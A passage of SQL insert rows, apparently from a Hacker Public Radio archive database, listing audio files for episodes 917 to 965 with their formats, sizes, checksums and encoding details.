(917,'hpr0917.mp3','mp3',6046824,'bfc51becc24c63afd7a5a77a3fe8bccbad5b806c','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, JntStereo'),
(917,'hpr0917.ogg','ogg',5046473,'d12f7df318995fd0ca9e8dc51a90a99617f8cb6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(917,'hpr0917.spx','spx',3601264,'bd16d789f359a1e592349bc5f32b9e808e6322f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(918,'hpr0918.mp3','mp3',14926053,'c2edb73ebf85219fe46575443fa58a9228c08f6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(918,'hpr0918.ogg','ogg',10722213,'8a8e0c87d5960237769bb9194ee78e848f1dd0be','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(918,'hpr0918.spx','spx',3333342,'0f243cfd637804adb1d5d6df06702b2de155844c','application/ogg; charset=binary','Ogg data, Speex audio'),
(919,'hpr0919.mp3','mp3',10821357,'2a59c969c58a4745a29ce2c767fa81eff635ed84','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(919,'hpr0919.ogg','ogg',9385531,'72ce357b235bc78bc476be7cc966f3c1cf476fc3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(919,'hpr0919.spx','spx',3221747,'a5da552dafe391c91c80d87fa29f9880b6e333d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(920,'hpr0920.mp3','mp3',15756959,'7d8cee551baa4256307c8ce31d0fa23bf69002dc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(920,'hpr0920.ogg','ogg',15113026,'b225ee73ce1926a3c86204ef8e9253dbd76e0868','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(920,'hpr0920.spx','spx',7036856,'a57b40b1bab1d01f91ab66e610db4b7072100462','application/ogg; charset=binary','Ogg data, Speex audio'),
(921,'hpr0921.mp3','mp3',32878594,'3400f8a74d062fc4846088cbdc186b29e25bc69f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(921,'hpr0921.ogg','ogg',27307422,'b08768628f2013c0d1cb626fa57a027e4206aa96','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(921,'hpr0921.spx','spx',17290943,'4fe5ca0ece3c5cf54ee2e84382ea8b826f25c8e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(922,'hpr0922.mp3','mp3',4678323,'f2c23cf0713a9dd58f6585ff3e8b7a73d7251239','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(922,'hpr0922.ogg','ogg',3911885,'69713d8a196eb6cd735289cad8a5e9219d66ff04','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(922,'hpr0922.spx','spx',1392692,'94ba16d8d9e5cdf6b0ae6458c34b03e7d2b9945f','application/ogg; charset=binary','Ogg data, Speex audio'),
(923,'hpr0923.mp3','mp3',17076801,'6af59e0ff2826ce518199ccec0588af6e7945366','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(923,'hpr0923.ogg','ogg',20815364,'382f533262b8bc7511cb7eda7a9f72d329d40379','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(923,'hpr0923.spx','spx',7626706,'159918ad535c82a4519baf3a0386de4eef02f5c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(924,'hpr0924.mp3','mp3',12055732,'d08bf319add0f7ba7e4b498aadeac23201856753','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(924,'hpr0924.ogg','ogg',10519580,'764de85d1d91694f9e1743eb8a4fde7e52d70db6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(924,'hpr0924.spx','spx',3589632,'b81860c3b5274a1b806e5109c21d57f8d2565b6c','application/ogg; charset=binary','Ogg data, Speex audio'),
(925,'hpr0925.mp3','mp3',11251192,'d8e221d9c99c86a1f451050b13cc683f5a0691e8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(925,'hpr0925.ogg','ogg',10927827,'f16337887cb91193e3fdfc417c18c643358c6db6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(925,'hpr0925.spx','spx',5024567,'ed1d335156dd9cdd79938da1b7fde1bfb5cd6699','application/ogg; charset=binary','Ogg data, Speex audio'),
(926,'hpr0926.mp3','mp3',23015259,'6efcfc12b39ea6e9b052a22edcd1fb699184344d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(926,'hpr0926.ogg','ogg',11061069,'07f1180b7a4e4926d01b499cd43e5fa5523494c7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(926,'hpr0926.spx','spx',6852802,'e7c60d7d615ac6045c2f3569886ad99d424a6439','application/ogg; charset=binary','Ogg data, Speex audio'),
(927,'hpr0927.mp3','mp3',22728096,'7e7b51878c14994a542686e5f2129e6704ab5b48','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(927,'hpr0927.ogg','ogg',12984587,'b99e66ad74a6f1bfa8124b54b83d0b2ae33e643d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(927,'hpr0927.spx','spx',5075543,'a358837d45065dd3166e42e13d1eef35bb0c82ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(928,'hpr0928.mp3','mp3',13047276,'3a572528f2fc9f0cf7658c835d5c9977a0388811','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  56 kbps, 22.05 kHz, Monaural'),
(928,'hpr0928.ogg','ogg',11424729,'0285817ae5f27fd613bd6a8309e65545edaf1c68','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~45111 bps, created by: Xiph.Org libVorbis I'),
(928,'hpr0928.spx','spx',9940734,'13853e441cf46d1e5a9c7ee1f536b4e2e9302025','application/ogg; charset=binary','Ogg data, Speex audio'),
(929,'hpr0929.mp3','mp3',24240948,'e7f67a06b30adc234ccb060c5723788b8b68321e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(929,'hpr0929.ogg','ogg',17792131,'34d7b4630ad08027575f2a609acd3a3df18cfa6b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(929,'hpr0929.spx','spx',5565694,'5589c44bcc3f14ca3260840334c3c929036022e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(930,'hpr0930.mp3','mp3',9968702,'46eb62e00e4767b99bf531850026473d2c57fb01','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(930,'hpr0930.ogg','ogg',9663973,'72d391be3c2552786a805de581f6fb6d9c5d36b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(930,'hpr0930.spx','spx',4452200,'a5f60d68a8e43c37db352982737f844de7c8e6b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(931,'hpr0931.mp3','mp3',3309643,'8bf99e109d04624d698aa76eafdf62d39ed3d790','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(931,'hpr0931.ogg','ogg',4152891,'fd0dc8b973d5f84742f7d0772c49589050dbf55c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(931,'hpr0931.spx','spx',1477687,'b3100e10d005566ba9a32422cae77705828aaa8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(932,'hpr0932.mp3','mp3',12075846,'bb94be368871658cb3c730595af94d66833683cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(932,'hpr0932.ogg','ogg',16759920,'02e6a484bc14973c28249d6d57dc201efa62f8e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(932,'hpr0932.spx','spx',5392916,'3cc6d5151baf6b5ed61a531f42fa464adb56a0b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(933,'hpr0933.mp3','mp3',22019226,'4dfd4977662e2951c1480d7f53f4f2eabfc6625f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(933,'hpr0933.ogg','ogg',12363560,'e0ab325e979a0d07a61629ae65b3047174d1412c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(933,'hpr0933.spx','spx',4917268,'7c3175df919e12ec7445388596592bbeb1c3cecf','application/ogg; charset=binary','Ogg data, Speex audio'),
(934,'hpr0934.mp3','mp3',10552193,'47a73518bbc7eec5ecc223c7e5287bf2ec94ca8c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(934,'hpr0934.ogg','ogg',8817235,'86d80c6510e0639c83350ef6f7f9b1a64a1f0100','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(934,'hpr0934.spx','spx',5549305,'1eeba2e57a650ab0d6857846ae3bbe88fc528840','application/ogg; charset=binary','Ogg data, Speex audio'),
(935,'hpr0935.mp3','mp3',15289128,'9a53d0cc5d7b3e7789447088fdc56cfc1036886d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(935,'hpr0935.ogg','ogg',15740046,'7c0756d0f1fed955f49078051e586316465f1e5e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(935,'hpr0935.spx','spx',6827901,'59cdeedb921156ead39997beba64e5e97d4c7c19','application/ogg; charset=binary','Ogg data, Speex audio'),
(936,'hpr0936.mp3','mp3',23331986,'b498224e0a08a489f6289442a6f7f5bfb6f2469a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(936,'hpr0936.ogg','ogg',38215021,'39e14a07ea732d835a9333fe1e91007a376cc148','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(936,'hpr0936.spx','spx',10420352,'d5d31e748f1d3f65de6880a151b01b3549435205','application/ogg; charset=binary','Ogg data, Speex audio'),
(937,'hpr0937.mp3','mp3',4385879,'460c08eb91281ecd49b31b2adaeb33b9e586d791','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(937,'hpr0937.ogg','ogg',5220961,'d39a4b9e6a799e30f2c309f276264562a97b060f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(937,'hpr0937.spx','spx',1958832,'abe23df746f4c243fd2f1675c972aec2f3fbc9eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(938,'hpr0938.mp3','mp3',19723025,'ed756031f8826f3be362afeed97b690b04c90c0c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(938,'hpr0938.ogg','ogg',34488152,'1e3309bd994b45d01bdfb1740c592816cdf84fb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(938,'hpr0938.spx','spx',4401442,'1f11f2e16a3960764b75b6657f1b284bff29d111','application/ogg; charset=binary','Ogg data, Speex audio'),
(939,'hpr0939.mp3','mp3',39247085,'18ae0b16097487eb807318a3278f0429f3921e9c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(939,'hpr0939.ogg','ogg',44726031,'503004d9f0b0d397dba109e4f142f429479d4fff','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(939,'hpr0939.spx','spx',17461061,'8ce6888d37869d1a22e584e08483ab9634924480','application/ogg; charset=binary','Ogg data, Speex audio'),
(940,'hpr0940.mp3','mp3',12135518,'d264bc67f98873092fe0d67982e98dff4f9f499c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(940,'hpr0940.ogg','ogg',11755354,'be00af40a5ce6f0de9cc160eadd1ad594c829941','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(940,'hpr0940.spx','spx',5419628,'58cbf3df7e0c826658c0c8ea4e826952e666181b','application/ogg; charset=binary','Ogg data, Speex audio'),
(941,'hpr0941.mp3','mp3',15454752,'676e89945eb492de7ba00b55f6e9e7f7672ab5a0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(941,'hpr0941.ogg','ogg',11182866,'2e04490135b5a342b23ba6ff59f28f7411325803','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(941,'hpr0941.spx','spx',3548756,'d2e949e41db57437f68512d72c1d9dad1dcddb96','application/ogg; charset=binary','Ogg data, Speex audio'),
(942,'hpr0942.mp3','mp3',11610110,'342cd680c6638c2d98c4a0cab04d9c2ad36ad10b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(942,'hpr0942.ogg','ogg',12065742,'1dd4d8b8f86f5e3156a879987c7ec2b6b8785414','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(942,'hpr0942.spx','spx',2666090,'8909795e3b195fce4afd2e4f2e7f2ded3c369b4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(943,'hpr0943.mp3','mp3',25323419,'969caeb0b1a76c1f94061ee777ade67a757bf795','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(943,'hpr0943.ogg','ogg',14695449,'1e31a4a283e4aff8092bf13d656b635c3c7472fb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(943,'hpr0943.spx','spx',5655344,'3ac567741c5a5cad3ab6ca76e854fee68ba48fa3','application/ogg; charset=binary','Ogg data, Speex audio'),
(944,'hpr0944.mp3','mp3',16452818,'5915ba39ac6fe91ddafe5826fa85f5705ca3e3aa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(944,'hpr0944.ogg','ogg',10623212,'1d452a5b205b087c4cada029a5119b0da698c7b9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(944,'hpr0944.spx','spx',3674088,'1e4a4fb4cc803449330399557cc89ff91543d2c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(945,'hpr0945.mp3','mp3',9570353,'a013599d4a8e54e0d4aae64502d5ed858f80a8fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(945,'hpr0945.ogg','ogg',9270901,'de4d1012632aea9d881d35b0874c777632e75a60','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(945,'hpr0945.spx','spx',4273898,'ea6c06b328fe90368b6983369fb9ae26065426c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(946,'hpr0946.mp3','mp3',29440485,'5dceb1d27a5b5eb298808312f30501e4b3788397','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(946,'hpr0946.ogg','ogg',19479712,'17c397e0cf8bc5718c1cc584db821ef4b8a6cd72','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(946,'hpr0946.spx','spx',6759756,'bfbb33505166964eb7b0d5432e7ec59a33d97759','application/ogg; charset=binary','Ogg data, Speex audio'),
(947,'hpr0947.mp3','mp3',76173940,'485ca7e059000347812f2b81d29a7571b07566d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(947,'hpr0947.ogg','ogg',93708648,'e66e58cf90bef33afa06c57de7ca1d76372fbe5e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(947,'hpr0947.spx','spx',17490226,'c91f8cecae3ec6c3f756151947f542314cd55c2c','application/ogg; charset=binary','Ogg data, Speex audio'),
(948,'hpr0948.mp3','mp3',18054857,'9e0b909f8fa84ce56eaf252c46ed48f74e5c2b46','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(948,'hpr0948.ogg','ogg',16422850,'2fee18bb989a21dbca17f9d2c723a9451b2f7cf5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(948,'hpr0948.spx','spx',4145408,'5c4531502ab46f18dc630bef5910ee2c8058b7bd','application/ogg; charset=binary','Ogg data, Speex audio'),
(949,'hpr0949.mp3','mp3',89421658,'4d18be4c599cd420628caaff70ed8e9f10e5e3f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 160 kbps, 44.1 kHz, Stereo'),
(949,'hpr0949.ogg','ogg',82438492,'aecde6ed54e27c33018eca821f95e19c1eb735ac','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(949,'hpr0949.spx','spx',16423069,'e31f291e5df04b56080721d112e3ddca98374089','application/ogg; charset=binary','Ogg data, Speex audio'),
(950,'hpr0950.mp3','mp3',9224492,'b5f6c9646353d10ea584d8f9baf5ca47e94b71a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(950,'hpr0950.ogg','ogg',8931049,'f3aa16f9d4e506e069afbcc70bd7cc5d9eb3c016','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(950,'hpr0950.spx','spx',4119397,'f2c6c36a14a37089328960aea85b58986ec7a272','application/ogg; charset=binary','Ogg data, Speex audio'),
(951,'hpr0951.mp3','mp3',4047101,'9e605f82805c6d64279836a787c54c5de003635a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(951,'hpr0951.ogg','ogg',4183821,'03a238e2d862c564557fbccaacd4dba4c2ac0476','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(951,'hpr0951.spx','spx',1807132,'b06429f6ea1bec7326c000a0bcc1915eacd01bb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(952,'hpr0952.mp3','mp3',5897288,'c6b4a689d8d982acbbd20d61dea54a1f8f334903','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(952,'hpr0952.ogg','ogg',3293635,'e553eb4ec4100e61eeaeea43889d9c7686da3d93','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(952,'hpr0952.spx','spx',1317160,'87fdb0a5cbfeca7a30ba4335df5a2b42c740c4ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(953,'hpr0953.mp3','mp3',11071626,'f4a51163c701243893675f1247db9f27b92a2053','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(953,'hpr0953.ogg','ogg',6807048,'52cac0b223e0fe53f262819ed089aff880a5df9d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(953,'hpr0953.spx','spx',4366945,'1cd2bd73fa36ce54761c0a7d39015a0f09e12d26','application/ogg; charset=binary','Ogg data, Speex audio'),
(954,'hpr0954.mp3','mp3',17377408,'0c0b17955288b75441161a1899366de73057c3fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(954,'hpr0954.ogg','ogg',14768439,'18b7ff9cb9a85d4a77a651921830f982da79daa8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(954,'hpr0954.spx','spx',5217605,'dc153bcbbb5b3bfbe9c1863410030deb04246e97','application/ogg; charset=binary','Ogg data, Speex audio'),
(955,'hpr0955.mp3','mp3',66456389,'150976c09e54c21c69b16d7f25457b077a234230','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(955,'hpr0955.ogg','ogg',45984876,'520a2ec660daea87786550ad54363f522cafc80b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(955,'hpr0955.spx','spx',15258901,'dd4c4b555e3c8c4e4d0d6295e21880b7027bd78d','application/ogg; charset=binary','Ogg data, Speex audio'),
(956,'hpr0956.mp3','mp3',36440010,'396833c4aad1afee7afef04eb8f946ac78e1216d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(956,'hpr0956.ogg','ogg',84326793,'0320564eb356e26f39e8509d59330f21d41d24af','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(956,'hpr0956.spx','spx',16274526,'937a39d2e0ec934817aaae04da1512d6937936cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(957,'hpr0957.mp3','mp3',21946978,'2d7b5766c3c085297bde415fce1b792061b75a97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(957,'hpr0957.ogg','ogg',12340893,'9e5e2f7440a734253e47f39007761ce05de84894','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(957,'hpr0957.spx','spx',4901173,'e0b7ac135564f72213258f96dfcdf3f28a31dd0a','application/ogg; charset=binary','Ogg data, Speex audio'),
(958,'hpr0958.mp3','mp3',11172155,'c20c19d6b5aa87e1573dd3a2f9a84e3f9ff7093c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(958,'hpr0958.ogg','ogg',34358114,'c516c5a5e43b3ea9261058a807c81c3f5784ebb5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(958,'hpr0958.spx','spx',4989276,'b42666a7fe0a4033983568bb1903738c045c5ef4','application/ogg; charset=binary','Ogg data, Speex audio'),
(959,'hpr0959.mp3','mp3',17794028,'602a4d7d98fbc9f97d6e7e330d9501bf12a6f604','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(959,'hpr0959.ogg','ogg',19560628,'ccd95a6f15c9df8048b45b154d5a9f97e9e1a9cc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(959,'hpr0959.spx','spx',11510579,'4995652e47a21da8745254ba6b2d3e066aeffcfa','application/ogg; charset=binary','Ogg data, Speex audio'),
(960,'hpr0960.mp3','mp3',11503830,'4aa6f1096328afd2adc266696df633769fe30e21','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(960,'hpr0960.ogg','ogg',11006990,'ed5e88a867490b016891b7cbdd29debc34f43106','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(960,'hpr0960.spx','spx',5137396,'44541a372330f82f2bf8c026f29dee24e187147d','application/ogg; charset=binary','Ogg data, Speex audio'),
(961,'hpr0961.mp3','mp3',17050391,'7760de1776ff626ea3e66d7de665bf887908ec67','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(961,'hpr0961.ogg','ogg',12367013,'a1652613276304199bcc8beebbb3a789568c169a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(961,'hpr0961.spx','spx',3914855,'8522477e7db3e47ac9b6a989062463a7c59dd5d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(962,'hpr0962.mp3','mp3',8579759,'7320168be5aac089c03fdece7684b83f1fe4cf4e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(962,'hpr0962.ogg','ogg',5172830,'d08c66c5ed70f339a0df6e6c467d1c606f9275b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(962,'hpr0962.spx','spx',3383972,'8474eaa68b6c4bfac706e5d622d013bf2e35329a','application/ogg; charset=binary','Ogg data, Speex audio'),
(963,'hpr0963.mp3','mp3',6589428,'477a408d1869aaf74ea005a901d1bd497b4a756c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(963,'hpr0963.ogg','ogg',3683459,'02581ce848f5e6458547ea80bdeeb54910e5b7a9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(963,'hpr0963.spx','spx',1471705,'7f16ffb472649322eac3578bb3d31654c882544d','application/ogg; charset=binary','Ogg data, Speex audio'),
(964,'hpr0964.mp3','mp3',33185290,'1d2e20895800e6dbd8f187fa0ff0a001e80359ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(964,'hpr0964.ogg','ogg',36941638,'9cc864d586232c911649eeddd30f52300cb11825','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(964,'hpr0964.spx','spx',14820856,'f2264f91ec8f185b3498d6a886073032060db96c','application/ogg; charset=binary','Ogg data, Speex audio'),
(965,'hpr0965.mp3','mp3',15219105,'6ff23ae8c7a141bb3d2c6f6831b32ba05c57daf0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
